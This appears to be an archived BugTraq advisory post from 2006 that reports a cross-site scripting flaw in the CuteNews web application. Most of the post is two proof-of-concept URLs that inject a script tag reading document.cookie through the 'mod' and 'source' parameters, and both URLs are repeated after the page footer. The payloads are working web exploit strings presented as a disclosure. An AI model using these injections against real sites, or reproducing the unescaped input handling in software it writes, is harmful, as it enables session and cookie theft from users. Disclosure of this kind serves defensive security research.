BugTraq
Back to list
|
Post reply
Local XXS Attack On CuteNews
Apr 26 2006 05:07AM
outlaw aria-security net
Local XSS attack:
http://localhost/cutenews/index.php?mod=%3E%3Cscript%3Ealert(document.co
okie)%3C/script%3E%3C!--
http://localhost/cutenews/index.php?mod=editnews&action=list&source=<scr
ipt>alert
(document.cookie)</script><!--
advisory:http://www.aria-security.net/advisory/portals/cutenews.txt
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
http://localhost/cutenews/index.php?mod=%3E%3Cscript%3Ealert(document.co
okie)%3C/script%3E%3C!--
http://localhost/cutenews/index.php?mod=editnews&action=list&source=<scr
ipt>alert
(document.cookie)</script><!--
advisory:http://www.aria-security.net/advisory/portals/cutenews.txt
[ reply ]